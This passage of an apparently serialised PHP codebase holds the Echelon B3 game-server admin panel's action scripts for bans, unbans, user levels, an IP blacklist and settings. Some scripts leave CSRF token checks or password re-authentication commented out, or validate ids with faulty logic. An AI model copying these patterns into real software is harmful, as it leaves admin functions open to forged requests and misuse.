timestamp (in seconds)\r\n\t$duration = penDuration($time, $duration_form);\r\n\t\r\n\t$duration_secs = $duration*60; // find the duration in seconds\r\n    if (!$mem->reqLevel('permban') AND $duration_secs > 86400)\r\n        sendBack('You can not chose a duration bigger than 1 day.');\r\n    \r\n\t$time_expire = time() + $duration_secs; // time_expire is current time plus the duration in seconds\r\n\r\n} // end if pb/tempban var setup\r\n\r\n$data = '(Echelon: '. $mem->name . ' ['. $mem->id .'])'; // since this ban goes down as a B3 ban, tag on some user information (display name and echelon user id)\r\n\r\n## Add Ban to the penalty table ##\r\n$result = $db->penClient($type, $client_id, $duration, $reason, $data, $time_expire);\r\n\t\r\n## Make PB ban to server if Pb is enabled ##\r\nif($is_pb_ban == true) :\r\n\t$i = 1;\r\n\twhile($i <= $game_num_srvs) :\r\n\r\n\t\tif($config['games'][$game]['servers'][$i]['pb_active'] == '1') :\r\n\t\t\t// get the rcon information from the massive config array\r\n\t\t\t$rcon_pass = $config['game']['servers'][$i]['rcon_pass'];\r\n\t\t\t$rcon_ip = $config['game']['servers'][$i]['rcon_ip'];\r\n\t\t\t$rcon_port = $config['game']['servers'][$i]['rcon_port'];\r\n\t\t\t$c_ip = trim($c_ip);\r\n\t\t\r\n\t\t\t// PB_SV_BanGuid [guid] [player_name] [IP_Address] [reason]\r\n\t\t\t$command = \"pb_sv_banguid \" . $pbid . \" \" . $c_name . \" \" . $c_ip . \" \" . $reason;\r\n            rcon($rcon_ip, $rcon_port, $rcon_pass, $command); // send the ban command\r\n\t\t\tsleep(1); // sleep for 1 sec in ordere to the give server some time\r\n\t\t\t$command_upd = \"pb_sv_updbanfile\"; // we need to update the ban files\r\n\t\t\trcon($rcon_ip, $rcon_port, $rcon_pass, $command_upd); // send the ban file update command\r\n\t\tendif;\r\n\r\n\t\t$i++;\r\n\tendwhile;\r\nendif;\r\n\r\ntry {\r\n    $i = 1;\r\n    while($i <= $game_num_srvs) :\r\n        // not bulletproof, get client-id from \"status\" and kick using that instead of name. \r\n        // thanks androiderpwnz ;)\r\n        $rcon_pass = $config['game']['servers'][$i]['rcon_pass'];\r\n        $rcon_ip = $config['game']['servers'][$i]['rcon_ip'];\r\n        $rcon_port = $config['game']['servers'][$i]['rcon_port'];\r\n        \r\n        $command = \"drop \" . $c_name. \" \".$reason;\r\n        rcon($rcon_ip, $rcon_port, $rcon_pass, $command); // send the ban command\r\n\r\n        $i++;\r\n    endwhile;\r\n}\r\n\r\n//catch exception\r\ncatch(Exception $e) {\r\n  sendBack($e);\r\n}\r\n\r\n\r\nif($result)\r\n\tsendGood('Ban has been added to the database.');\r\nelse\r\n\tsendBack('Something went wrong the ban was not added');\r\n\r\nexit;", "echelon/actions/b3/comment.php": "<?php\r\n$auth_name = 'comment';\r\n$b3_conn = true; // this page needs to connect to the B3 database\r\nrequire '../../inc.php';\r\n\r\nif(!isset($_POST['comment-sub'])) : // if the form is submitted\r\n\tset_error('Please do not call that page directly');\r\n\tsend('../../');\r\nendif;\r\n\r\n## check that the sent form token is corret\r\nif(verifyFormToken('comment', $tokens) == false) // verify token\r\n\tifTokenBad('Add comment');\r\n\r\n// Gets vars from form\r\n$cid = cleanvar($_POST['cid']);\r\n$comment = cleanvar($_POST['comment']);\r\n$adminname = 'added by ' .$mem->name;\r\n\r\n// Check for empties\r\nemptyInput($comment, 'comment');\r\nemptyInput($cid, 'client id not sent');\r\n\r\n## Check sent client_id is a number ##\r\nif(!isID($cid))\r\n\tsendBack('Invalid data sent, ban not added');\r\n\r\n\r\n\r\n## Query ##\r\n$result = $dbl->addEchLog('Comment', $comment, $cid, $mem->id, $game);\r\n\r\n$query = $db->penClient('Notice', $cid, '0', $comment, $adminname, '-1');\r\nif($query)\r\n\tsendGood('Comment added.');\r\nelse\r\n\tsendBack('There is a problem, your comment was not added to the database.');", "echelon/actions/b3/editban.php": "<?php\r\n$auth_name = 'edit_ban';\r\n$b3_conn = true; // this page needs to connect to the B3 database\r\nrequire '../../inc.php';\r\n\r\nif(!$_POST['eb-sub']) { // if the form not is submitted\r\n\tset_error('Please do not call that page directly, thank you.');\r\n\tsend('../../index.php');\r\n}\r\n\r\n## check that the sent form token is corret\r\nif(verifyFormToken('editban', $tokens) == false) // verify token\r\n\tifTokenBad('Edit ban');\r\n\t\r\n$ban_id = cleanvar($_POST['banid']);\r\n$pbid = cleanvar($_POST['pbid']);\r\n$pb_ban = cleanvar($_POST['pb']);\r\n$reason = cleanvar($_POST['reason']);\r\n$cid = cleanvar($_POST['cid']);\r\nif($pb_ban == 'on') {\r\n\t$is_pb_ban = true;\r\n\t$type = 'Ban';\r\n\t$duration = 0;\r\n\t$time_expire = '-1';\r\n} else {\r\n\t$is_pb_ban = false;\r\n\t$type = 'TempBan';\r\n\t$duration_form = cleanvar($_POST['duration']);\r\n\t$time = cleanvar($_POST['time']);\r\n\temptyInput($time, 'time frame');\r\n\temptyInput($duration_form, 'penalty duration');\r\n\t\r\n\t// NOTE: the duration in the DB is done in MINUTES and the time_expire is written in unix timestamp (in seconds)\r\n\t$duration = penDuration($time, $duration_form);\r\n\t\r\n\t$duration_secs = $duration*60; // find the duration in seconds\r\n\t\r\n\t$time_expire = time() + $duration_secs; // time_expire is current time plus the duration in seconds\r\n}\r\n\r\n// check for empty reason\r\nemptyInput($reason, 'ban reason');\r\n\r\nif( !isID($ban_id) || !isID($cid) )\r\n\tsendBack('Some of the information sent by you is invalid, the ban was not edited');\r\n\r\n## Query Section ##\r\n$query = \"UPDATE penalties SET type = ?, duration = ?, time_edit = UNIX_TIMESTAMP(), time_expire = ?, reason = ? WHERE id = ? LIMIT 1\";\r\n$stmt = $db->mysql->prepare($query) or die('DB Error');\r\n$stmt->bind_param('siisi', $type, $duration, $time_expire, $reason, $ban_id);\r\n$stmt->execute();\r\n\r\nif($stmt->affected_rows > 0)\r\n\t$results = true;\r\nelse\r\n\tsendBack('Something went wrong');\r\n\r\n## If a permaban send unban rcon command (the ban will still be enforced then by the B3 DB ##\r\nif($type == 'Ban') :\r\n\t\r\n\t## Loop thro server for this game and send unban command and update ban file\r\n\t$i = 1;\r\n\twhile($i <= $game_num_srvs) :\r\n\r\n\t\tif($config['games'][$game]['servers'][$i]['pb_active'] == '1') {\r\n\t\t\t// get the rcon information from the massive config array\r\n\t\t\t$rcon_pass = $config['game']['servers'][$i]['rcon_pass'];\r\n\t\t\t$rcon_ip = $config['game']['servers'][$i]['rcon_ip'];\r\n\t\t\t$rcon_port = $config['game']['servers'][$i]['rcon_port'];\r\n\t\t\r\n\t\t\t// PB_SV_BanGuid [guid] [player_name] [IP_Address] [reason]\r\n\t\t\t$command = \"pb_sv_unbanguid \" . $pbid;\r\n\t\t\trcon($rcon_ip, $rcon_port, $rcon_pass, $command); // send the ban command\r\n\t\t\tsleep(1); // sleep for 1 sec in ordere to the give server some time\r\n\t\t\t$command_upd = \"pb_sv_updbanfile\"; // we need to update the ban files\r\n\t\t\trcon($rcon_ip, $rcon_port, $rcon_pass, $command_upd); // send the ban file update command\r\n\t\t}\r\n\r\n\t\t$i++;\r\n\tendwhile;\r\n\r\nendif;\r\n\r\n// set comment for the edit ban action\r\n$comment = 'A ban for this user was edited';\r\n\r\n## Query ##\r\n$result = $dbl->addEchLog('Edit Ban', $comment, $cid, $mem->id, $game);\r\n\r\nif($results)\r\n\tsendGood('Ban edited');\r\nelse\r\n\tsendBack('NO!');\r\n\r\nexit;", "echelon/actions/b3/greeting.php": "<?php\r\n$auth_name = 'greeting';\r\n$b3_conn = true; // this page needs to connect to the B3 database\r\nrequire '../../inc.php';\r\n\r\nif($_POST['greeting-sub']) : // if the form is submitted\r\n\t## check that the sent form token is corret\r\n\tif(verifyFormToken('greeting', $tokens) == false) // verify token\r\n\t\tifTokenBad('Add comment');\r\n\r\n\t$greeting = cleanvar($_POST['greeting']);\r\n\t$client_id = cleanvar($_POST['cid']);\r\n\t\r\n\t// NOTE: allow for an empty comment. An empty comment means no comment\r\n\temptyInput($client_id, 'data not sent');\r\n\r\n\tif(!isID($client_id))\r\n\t\tsendBack('Invalid data sent, greeting not changed');\r\n\t\r\n\t## Add Log Message ##\r\n\t$comment = 'Greeting message changed';\r\n\t$dbl->addEchLog('Greeting', $comment, $client_id, $mem->id, $game);\t\r\n\t\t\r\n\t## Query ##\r\n\t$query = \"UPDATE clients SET greeting = ? WHERE id = ? LIMIT 1\";\r\n\t$stmt = $db->mysql->prepare($query) or sendBack('Database Error.');\r\n\t$stmt->bind_param('si', $greeting, $client_id);\r\n\t$stmt->execute();\r\n\tif($stmt->affected_rows)\r\n\t\tsendGood('Greeting has been updated.');\r\n\telse\r\n\t\tsendBack('Greeting was not updated.');\r\n\t\r\n\t$stmt->close(); // close connection\r\n\r\nelse :\r\n\r\n\tset_error('Please do not call that page directly, thank you.');\r\n\tsend('../../index.php');\r\n\r\nendif;", "echelon/actions/b3/level.php": "<?php\r\n## NOTE: this page deals with both the request from the change client user level as well the requests to change a user's mask level ##\r\nif($_POST['level-sub']) // what kind of request is it\r\n\t$is_mask = false;\r\nelse\r\n\t$is_mask = true;\r\n\r\nif(!$is_mask) // check which auth level is needed\r\n\t$auth_name = 'edit_client_level';\r\nelse\r\n\t$auth_name = 'edit_mask';\r\n\t\r\n$b3_conn = true; // this page needs to connect to the B3 database\r\nrequire '../../inc.php';\r\n\r\n## check that the sent form token is corret\r\nif(!$is_mask) {\r\n\tif(verifyFormToken('level', $tokens) == false) // verify token\r\n\t\tifTokenBad('Change client level');\r\n} else {\r\n\tif(verifyFormToken('mask', $tokens) == false) // verify token\r\n\t\tifTokenBad('Change client mask level');\r\n}\r\n\r\n## Set and clean vars ##\r\n$level = cleanvar($_POST['level']);\r\n$client_id = cleanvar($_POST['cid']);\r\n$old_level = cleanvar($_POST['old-level']);\r\n$password = cleanvar($_POST['password']);\r\n\r\n## Check Empties ##\r\nemptyInput($level, 'data not sent /level');\r\nemptyInput($client_id, 'data not sent /client-id');\r\nif ($old_level == \"\") # b3 set level names for regular players, will return \"empty field\" exception otherwise\r\n    $old_level == \"Un-Registered\";\r\nif(!$is_mask) // only the client level needs a password\r\n\temptyInput($password, 'current password');\r\n\r\n## Check if the client_id is numeric ##\r\nif(!isID($client_id))\r\n\tsendBack('Invalid data sent, greeting not changed');\r\n\r\n## Do some mojo with the B3 group information ##\r\n$b3_groups = $db->getB3Groups();\r\n\r\n// change around the recieved data\r\n$b3_groups_id = array();\r\nforeach($b3_groups as $group) :\r\n\tarray_push($b3_groups_id, $group['id']); // make an array of all the group_bits that exsist\r\n\t$b3_groups_name[$group['id']] = $group['name']; // make an array of group_bits to matching names\r\nendforeach;\r\n\r\n// Check if the group_bits provided match a known group (Known groups is a list of groups pulled from the DB -- this allow more control for custom groups)\r\nif(!in_array($level, $b3_groups_id))\r\n\tsendBack('That group does not exist, please submit a real group');\r\n\r\n## Check that authorisation passsword is correct ##\r\nif($config['cosmos']['pw_req_level'] == 1 && !$is_mask) : // if requiring a pw auth for edit-level is on or off\r\n\tif($level >= $config['cosmos']['pw_req_level_group']) // site setting to see if only certain levels need a pw check and if the selected level is above the threshold\r\n\t\t$mem->reAuthUser($password, $dbl);\r\nendif;\r\n\r\n## Add Echelon Log ##\r\n$level_name = $b3_groups_name[$level];\r\n$old_level_name = $b3_groups_name[$old_level];\r\nif($old_level_name == \"\")\r\n    $old_level_name == 'Un-Registered';\r\n \r\nif(!$is_mask)\r\n\t$comment = 'User level changed from '. $old_level_name .' to '. $level_name;\r\nelse\r\n\t$comment = 'Mask level changed from '. $old_level_name .' to '. $level_name;\r\n\r\n\r\n$dbl->addEchLog('Level Change', $comment, $client_id, $mem->id, $game);\r\n\r\n## Query Section ##\r\nif(!$is_mask)\r\n\t$query = \"UPDATE clients SET group_bits = ? WHERE id = ? LIMIT 1\";\r\nelse\r\n\t$query = \"UPDATE clients SET mask_level = ? WHERE id = ? LIMIT 1\";\r\n\t\r\n$stmt = $db->mysql->prepare($query) or sendBack('Database Error');\r\n$stmt->bind_param('ii', $level, $client_id);\r\n$stmt->execute();\r\n\r\nif($is_mask)\r\n\t$msg_st = 'Mask';\r\nelse\r\n\t$msg_st = 'User';\r\n\r\nif($stmt->affected_rows)\r\n\tsendGood($msg_st.' level has been changed');\r\nelse\r\n\tsendBack($msg_st.' level was not changed');\r\n\r\n$stmt->close(); // close connection", "echelon/actions/b3/unban.php": "<?php\r\n$auth_name = 'unban';\r\n$b3_conn = true; // this page needs to connect to the B3 database\r\nrequire '../../inc.php';\r\n\r\n## Check the form was submitted ##\r\nif(!$_POST['unban-sub']) { // if the form not is submitted\r\n    send('../../index.php');\r\n\tset_error('Please do not call that unban page directly, thank you.');\r\n}\r\n\r\n## get vars ##\r\n$ban_id = $_POST['banid'];\r\n$type = cleanvar($_POST['type']);\r\n$cid = cleanvar($_POST['cid']);\r\n\r\n## check that the sent form token is correct ## #wrong token error\r\n\r\n#if(verifyFormToken('unban'.$ban_id, $tokens) == false) // verify token\r\n#\tifTokenBad('Unban');\r\n\r\n## Check for empties ##\r\nemptyInput($type, 'data not sent');\r\nemptyInput($ban_id, 'data not sent');\r\n\r\n## Check ban_id is a number ##\r\nif(!isID($ban_id))\r\n\tsendBack('Invalid data sent, ban not added');\r\n\r\n## Send query ##\r\n$results = $db->makePenInactive($ban_id);\r\n\r\nif(!$results) // if bad send back warning\r\n\tsendBack('Penalty has not been removed');\r\n\t\r\n$guid = $db->getGUIDfromPID($ban_id);\r\n$i = 1; \r\nif($i <= $game_num_srvs) : // only needs to be sent once, if a shared db is used\r\n    \r\n    $rcon_pass = $config['game']['servers'][$i]['rcon_pass'];\r\n    $rcon_ip = $config['game']['servers'][$i]['rcon_ip'];\r\n    $rcon_port = $config['game']['servers'][$i]['rcon_port'];\r\n    \r\n    $command = \"unban \" .$guid;\r\n    rcon($rcon_ip, $rcon_port, $rcon_pass, $command); // send the ban command\r\nendif;\r\n \r\n    \r\n## If a permban send unban rcon command ##\r\nif($type == 'Ban' AND $config['game']['servers'][$i]['pb_active'] == '1') :\r\n\r\n\t## Get the PBID of the client ##\r\n\t$pbid = $db->getPBIDfromPID($ban_id);\r\n\t\r\n\t## Loop thro server for this game and send unban command and update ban file\r\n\t$i = 1;\r\n\twhile($i <= $game_num_srvs) :\r\n\r\n\t\tif($config['game']['servers'][$i]['pb_active'] == '1') {\r\n\t\t\t// get the rcon information from the massive config array\r\n\t\t\t$rcon_pass = $config['game']['servers'][$i]['rcon_pass'];\r\n\t\t\t$rcon_ip = $config['game']['servers'][$i]['rcon_ip'];\r\n\t\t\t$rcon_port = $config['game']['servers'][$i]['rcon_port'];\r\n\t\t\r\n\t\t\t// PB_SV_BanGuid [guid] [player_name] [IP_Address] [reason]\r\n\t\t\t$command = \"pb_sv_unbanguid \" . $pbid;\r\n\t\t\trcon($rcon_ip, $rcon_port, $rcon_pass, $command); // send the ban command\r\n\t\t\tsleep(1); // sleep for 1 sec in ordere to the give server some time\r\n\t\t\t$command_upd = \"pb_sv_updbanfile\"; // we need to update the ban files\r\n\t\t\trcon($rcon_ip, $rcon_port, $rcon_pass, $command_upd); // send the ban file update command\r\n\t\t}\r\n\r\n\t\t$i++;\r\n\tendwhile;\r\n\r\nendif;\r\n\r\n$comment = 'Unbanned Ban-ID '.$ban_id;\r\n$dbl->addEchLog('Unban', $comment, $cid, $mem->id, $game);\r\n\r\nif($results) // if good results send back good message\r\n\tsendGood('Penalty has been deactivated.');\r\n\t\r\nexit;\r\n", "echelon/actions/blacklist.php": "<?php\r\n$auth_name = 'siteadmin';\r\nrequire '../inc.php';\r\n\r\n\r\nif($_POST['deact']) { // if this is a deactivation request\r\n\r\n\t$bl_id = $_POST['id'];\r\n\tif(!verifyFormToken('act'.$bl_id, $tokens)) // verify token\r\n\t\tifTokenBad('BL De-activate'); // if bad log and send error\r\n\t\r\n\t$dbl->BLactive($bl_id, false); // run query to deact BL ban\r\n\tsendGood('This blacklist ban has been de-activated');\r\n\texit; // no need to continue\r\n\r\n} elseif($_POST['react']) { // if this is a re-activation request\r\n\r\n\t$bl_id = $_POST['id'];\r\n\tif(!verifyFormToken('act'.$bl_id, $tokens)) // verify token\r\n\t\tifTokenBad('BL De-activate'); // if bad log and send error\r\n\t\r\n\t$dbl->BLactive($bl_id, true); // run query to reactivate BL ban\r\n\tsendGood('This blacklist ban has been re-activiated');\r\n\texit; // no need to continue\r\n\r\n} elseif($_POST['ip']) { // if this is an add request\r\n\t\r\n\tif(!verifyFormToken('addbl', $tokens)) // verify token\r\n\t\tifTokenBad('BL Add'); // if bad log, add hack counter and throw error\r\n\t\r\n\t// set and clean vars\r\n\t$reason = cleanvar($_POST['reason']);\r\n\t$ip = cleanvar($_POST['ip']);\r\n\t\r\n\t// check for empty inputs\r\n\temptyInput($reason, 'the reason');\r\n\temptyInput($ip, 'IP Address');\r\n\t\r\n\t// if reason is default comment msg, send back with error\r\n\tif($reason == \"Enter a reason for this ban...\")\r\n\t\tsendBack('You must add a reason as to why this IP ban is being added');\r\n\t\r\n\t// check if it is a valid IP address\r\n\tif(!filter_var($ip, FILTER_VALIDATE_IP))\r\n\t\tsendBack('That IP address is not valid');\r\n\t\t\r\n\t$whitelist = array('token','reason','ip'); // allow form fields to be sent\r\n\r\n\t// Building an array with the $_POST-superglobal \r\n\tforeach ($_POST as $key=>$item) {\r\n\t\tif(!in_array($key, $whitelist)) {\r\n\t\t\thack(1); // plus 1 to hack counter\r\n\t\t\twriteLog('Add BL - Unknown form fields provided'); // make note of event\r\n\t\t\tsendBack('Unknown Information sent.');\r\n\t\t\texit;\r\n\t\t}\r\n\t} // end foreach\r\n\t\r\n\t## Query Section ##\r\n\t$result = $dbl->blacklist($ip, $reason, $mem->id);\r\n\tif(!$result) // if false\r\n\t\tsendBack('That IP was not added to the blacklist.');\r\n\t\r\n\t// if got this far we are doing well so lets send back a good message\r\n\tsendGood('The IP has been added to the banlist.');\r\n\texit; // no need to continue\r\n\r\n} else { // if this page was not posted and a user indirectly ends up on this page then sent to SA page with error\r\n\tsend('../sa.php');\r\n    set_error('Please do not load that page without submitting the ban IP address form.');\r\n}", "echelon/actions/edit-me.php": "<?php\r\n$auth_name = 'login';\r\nrequire '../inc.php';\r\n\r\n// set vars\r\n$display = cleanvar($_POST['name']);\r\n$email = cleanvar($_POST['email']);\r\n$cur_pw = cleanvar($_POST['password']);\r\n$change_pw = $_POST['change-pw']; // password is being hashed no need to validate\r\n$timezone = cleanvar($_POST['timezone']); \r\n\r\nif(!$_POST['pass1'] == '') { // check to see if the password is to be changed\r\n\t$pass1 = $_POST['pass1'];\r\n\t$pass2 = $_POST['pass2'];\r\n\t\r\n\tif(!testPW($pass1)) \r\n\t\tsendBack('Your new password contains illegal characters: = \\' \" or space');\r\n\t\r\n\tif($pass1 != $pass2) // if the passwords don't match send them back\r\n\t\tsendBack('The supplied passwords to do match');\r\n\r\n\temptyInput($pass1, 'your new password');\r\n\t$is_change_pw = true; // this is a change password request aswell\r\n\t\r\n} else // this request requires no password change\r\n\t$is_change_pw = false;\r\n\r\n// check for empty inputs\r\nemptyInput($display, 'display name');\r\nemptyInput($email, 'email');\r\nemptyInput($cur_pw, 'your current password');\r\n\r\n// check the new email address is a valid email address\r\nif(!filter_var($email,FILTER_VALIDATE_EMAIL))\r\n\tsendBack('That email is not valid');\r\n\r\n// check to see by comparing to session vars if the display name and email have been changed\r\nif($display != $mem->name || $email != $mem->email || $timezone != $_SESSION['timezone']) // sent display name does not match session and same with email\r\n\t$is_change_display_email = true; // this is a change request\r\nelse \r\n\t$is_change_display_email = false; // this is not a change request\r\n\r\n// if display/email not changed and its not a change pw request then return\r\nif( (!$is_change_display_email) && (!$is_change_pw) ) \r\n\tsendBack('You didn\\'t change anything, so Echelon has done nothing');\r\n\r\n## Query Section ##\r\n//$mem->reAuthUser($cur_pw, $dbl); // check user current password is correct\r\n\r\nif($is_change_display_email) : // if the display or email have been altered edit them if not skip this section\r\n\t// update display name and email\r\n\t$results = $dbl->editMe($display, $email, $timezone, $mem->id);\r\n\tif(!$results) { // if false (if nothing happened)\r\n\t\tsendBack('There was an error updating your email and display name');\r\n\t} else { // its been changed so we must update the session vars\r\n\t\t$_SESSION['email'] = $email;\r\n\t\t$_SESSION['name'] = $display;\r\n        $_SESSION['timezone'] = $timezone;\r\n\t\t$mem->setName($display);\r\n\t\t$mem->setEmail($email);\r\n\t}\r\nendif;\r\n\r\n## if a change pw request ##\r\nif($is_change_pw) : \r\n\r\n\t$result = $mem->genAndSetNewPW($pass1, $mem->id, $min_pw_len); // function to generate and set a new password\r\n\t\r\n\tif(is_string($result)) // result is either true (success) or an error message (string)\r\n\t\tsendBack($result); \r\nendif;\r\n\r\n ## return good ##\r\nsendGood('Your user information has been successfully updated');", "echelon/actions/settings-game.php": "<?php\r\n$auth_name = 'manage_settings';\r\n$b3_conn = true; // needed to test the B3 DB for a successful connection\r\nrequire '../inc.php';\r\n\r\n## Check that the form was posted and that the user did not just stumble here ##\r\nif(!$_POST['game-settings-sub']) :\r\n\tset_error('Please do not call that page directly, thank you.');\r\n\tsend('../index.php');\r\nendif;\r\n\r\n## Find Type ##\r\nif($_POST['type'] == 'add')\r\n\t$is_add = true;\r\n\t\r\nelseif($_POST['type'] == 'edit')\r\n\t$is_add = false;\r\n\t\r\nelse\r\n\tsendBack('Missing Data');\r\n\r\n## Check Token ##\r\nif($is_add) {\r\n\t//if(!verifyFormToken('addgame', $tokens)) // verify token\r\n\t\t//ifTokenBad('Add Game');\r\n} else {\r\n\tif(!verifyFormToken('gamesettings', $tokens)) // verify token\r\n\t\tifTokenBad('Game Settings Edit');\r\n}\r\n\r\n## Get Vars ##\r\n$name = cleanvar($_POST['name']);\r\n$name_short = cleanvar($_POST['name-short']);\r\nif($is_add)\r\n\t$game_type = cleanvar($_POST['game-type']);\r\n// DB Vars\r\n$db_host = cleanvar($_POST['db-host']);\r\n$db_user = cleanvar($_POST['db-user']);\r\n$db_pw_cng = cleanvar($_POST['cng-pw']);\r\n$db_pw = cleanvar($_POST['db-pw']);\r\n$db_name = cleanvar($_POST['db-name']);\r\n// plugins enabled\r\n$g_plugins = $_POST['plugins'];\r\n// Verify Password\r\n$password = $_POST['password']; // do not clean passwords\r\n\r\n// Whether to change DB PW or not\r\nif($db_pw_cng == 'on')\r\n\t$change_db_pw = true;\r\nelse\r\n\t$change_db_pw = false;\r\n\r\n\t\r\n## Check for empty vars ##\r\nemptyInput($name, 'game name');\r\nemptyInput($name_short, 'short version of game name');\r\nemptyInput($db_user, 'DB Username');\r\nemptyInput($db_host, 'DB Host');\r\nemptyInput($db_name, 'DB name');\r\n\r\nif( ($change_db_pw == true) && (!$is_add) )\r\n\temptyInput($db_pw, 'DB password');\r\n\r\nif(!$is_add)\r\n\temptyInput($password, 'your current password');\r\n\t\r\nif($is_add) :\r\n\t## Check game is supported ##\r\n\tif(!array_key_exists($game_type, $supported_games))\r\n\t\tsendBack('That game type does not exist, please choose a game');\r\nendif;\r\n\r\nif(!empty($g_plugins)) :\r\n\tforeach($g_plugins as $plugin) :\r\n\t\t$enabled .= $plugin.',';\r\n\tendforeach;\r\n\r\n\t$enabled = substr($enabled, 0, -1); // remove trailing comma\r\nendif;\r\n\r\n## Check that the DB information supplied will make a connection to the B3 database.\r\n$db_test = @new mysqli($db_host, $db_user, $db_pw, $db_name);\r\n\r\nif(($change_db_pw == true) && ($db_test->connect_error)) // send back with a failed connection message\r\n\tsendBack('<strong>Database Connection Error</strong>\r\n\t\t\t\t<p>The connection information you supplied is incorrect.<br />'.$db_test->connect_error.'</p>'); \r\n\r\n## Update DB ##\r\nif($is_add) : // add game queries\r\n\t$result = $dbl->addGame($name, $game_type, $name_short, $db_host, $db_user, $db_pw, $db_name);\r\n\tif(!$result) // if everything is okay\r\n\t\tsendBack('There is a problem, the game information was not saved.');\r\n\t\r\n\t$dbl->addGameCount(); // Add one to the game counter in config table\t\r\n\t\r\nelse : // edit game queries\r\n\t$mem->reAuthUser($password, $dbl);\r\n\t$result = $dbl->setGameSettings($game, $name, $name_short, $db_user, $db_host, $db_name, $db_pw, $change_db_pw, $enabled); // update the settings in the DB\r\n\tif(!$result)\r\n\t\tsendBack('Something did not update. Did you edit anything?');\r\nendif;\r\n\r\n## Return with result message\r\nif($is_add) {\r\n\tset_good('Game Added');\r\n\tsend('../settings-games.php');\r\n} else \r\n\tsendGood('Your settings have been updated');\r\n", "echelon/actions/settings-server.php": "<?php\r\n$auth_name = 'manage_settings';\r\nrequire '../inc.php';\r\n\r\n## delete server\r\nif($_GET['t'] == 'del') :\r\n\r\n\t// get and check the id sent\r\n\tif(isset($_GET['id']) || isID($_GET['id']))\r\n\t\t$sid = $_GET['id'];\r\n\telse\r\n\t\tsendBack('Vital information needed to delete the server was not sent.');\r\n\t\r\n\t## check that the form token is corret\r\n\tif(!verifyFormToken('del-server'.$sid, $tokens)) // verify token\r\n\t\tifTokenBad('Deleting a server');\r\n\t\t\r\n\t$result = $dbl->delServer($sid);\r\n\tif(!$result)\r\n\t\tsendBack('There was a problem with deleting the server.');\r\n\t\r\n\t$result = $dbl->delServerUpdateGames($game_id);\r\n\tif(!$result)\r\n\t\tsendBack('There was a problem with deleting the server.');\r\n\t\r\n\tsendGood('The server has been deleted.');\r\n\t\r\n\texit; // stop - no need to load the rest of the page\r\n\r\nendif;\r\n\r\n## Check that the form was posted and that the user did not just stumble here ##\r\nif(!isset($_POST['server-settings-sub'])) :\r\n\tset_error('Please do not call that page directly, thank you.');\r\n\tsend('../index.php');\r\nendif;\r\n\r\n## What type of request is it ##\r\nif($_POST['type'] == 'add')\r\n\t$is_add = true;\r\nelseif($_POST['type'] == 'edit')\r\n\t$is_add = false;\r\nelse\r\n\tsendBack('Missing Data');\r\n\r\n## Check Token ##\r\nif($is_add) { // if add server request\r\n\tif(verifyFormToken('addserver', $tokens) == false) // verify token\r\n\t\tifTokenBad('Add Server');\r\n} else { // if edit server settings\r\n\tif(verifyFormToken('editserversettings', $tokens) == false) // verify token\r\n\t\tifTokenBad('Server Settings Edit');\r\n}\r\n\r\n## Get Vars ##\r\n$name = cleanvar($_POST['name']);\r\n$ip = cleanvar($_POST['ip']);\r\n$pb = cleanvar($_POST['pb']);\r\n// DB Vars\r\n$rcon_ip = cleanvar($_POST['rcon-ip']);\r\n$rcon_port = cleanvar($_POST['rcon-port']);\r\n$rcon_pw_cng = cleanvar($_POST['cng-pw']);\r\n$rcon_pw = cleanvar($_POST['rcon-pass']);\r\n$server_id = cleanvar($_POST['server']);\r\n\r\nif($is_add)\r\n\t$game_id = cleanvar($_POST['game-id']);\r\n\r\n// Whether to change RCON PW or not\r\nif($rcon_pw_cng == 'on')\r\n\t$change_rcon_pw = true;\r\nelse\r\n\t$change_rcon_pw = false;\r\n\t\r\n// Whether to change DB PW or not\r\nif($pb == 'on')\r\n\t$pb = 1;\r\nelse\r\n\t$pb = 0;\r\n\r\n## Check for empty vars ##\r\nemptyInput($name, 'server name');\r\nemptyInput($ip, 'server IP');\r\nemptyInput($rcon_ip, 'Rcon IP');\r\nemptyInput($rcon_port, 'Rcon Port');\r\nif($change_rcon_pw == true)\r\n\temptyInput($rcon_pw, 'Rcon password');\r\n\r\n// check that the rcon_ip is valid\r\nif(!filter_var($rcon_ip, FILTER_VALIDATE_IP))\r\n\tsendBack('That RCON IP Address is not valid.');\r\n\t\r\n// check that the rcon_ip is valid\r\nif( (!filter_var($ip, FILTER_VALIDATE_IP)))\r\n\tsendBack('That server IP Address is not valid.');\r\n\t\r\n// Check Port is a number between 4-5 digits\r\nif( (!is_numeric($rcon_port)) || (!preg_match('/^[0-9]{4,5}$/', $rcon_port)) )\r\n\tsendBack('Rcon Port must be a number between 4-5 digits');\r\n\r\nif($is_add) : // if is add server request\r\n\tif(!is_numeric($game_id)) // game_id is a digit\r\n\t\tsendBack('Invalid data sent.');\r\nendif;\r\n\t\r\n## Update DB ##\r\nif($is_add) :\r\n\t$result = $dbl->addServer($game_id, $name, $ip, $pb, $rcon_ip, $rcon_port, $rcon_pw);\r\n\t$dbl->addServerUpdateGames($game_id);\r\nelse :\r\n\t$result = $dbl->setServerSettings($server_id, $name, $ip, $pb, $rcon_ip, $rcon_port, $rcon_pw, $change_rcon_pw); // update the settings in the DB\r\nendif;\r\n\r\nif(!$result)\r\n\tsendBack('Something did not update');\r\n\r\n## Return ##\r\nif($is_add) {\r\n\tset_good('Server '. $name .' has been added to the database records.');\r\n\tsend('../settings-server.php');\r\n} else\r\n\tsendGood('Your settings have been updated.');\r\n", "echelon/actions/settings.php": "<?php\r\n$auth_name = 'manage_settings';\r\nrequire '../inc.php';\r\n\r\n## Check that the form was posted and that the user did not just stumble here ##\r\nif(!$_POST['settings-sub']) :\r\n\tset_error('Please do not call that settings page directly, thank you.');\r\n\tsend('../index.php');\r\nendif;\r\n\r\n// NOTE: This page only changes the general (cosmos) Echelon settings. There is one exception, 'num_games', num_games is not chnaged by this page\r\n\r\n\r\n## Check Token ##\r\nif(!verifyFormToken('settings', $tokens)) // verify token\r\n\tifTokenBad('Settings Edit');\r\n\r\n## Get Vars ##\r\n$f_name = cleanvar($_POST['name']);\r\n$f_limit_rows = cleanvar($_POST['limit_rows']);\r\n$f_min_pw_len = cleanvar($_POST['min_pw_len']);\r\n$f_user_key_expire = cleanvar($_POST['user_key_expire']);\r\n$f_email = cleanvar($_POST['email']);\r\n$f_admin_name = cleanvar($_POST['admin_name']);\r\n$f_https = cleanvar($_POST['https']);\r\n$f_allow_ie = cleanvar($_POST['allow_ie']);\r\n$f_time_format  = cleanvar($_POST['time_format']);\r\n$f_time_zone = cleanvar($_POST['time_zone']);     \r\n$f_email_header = 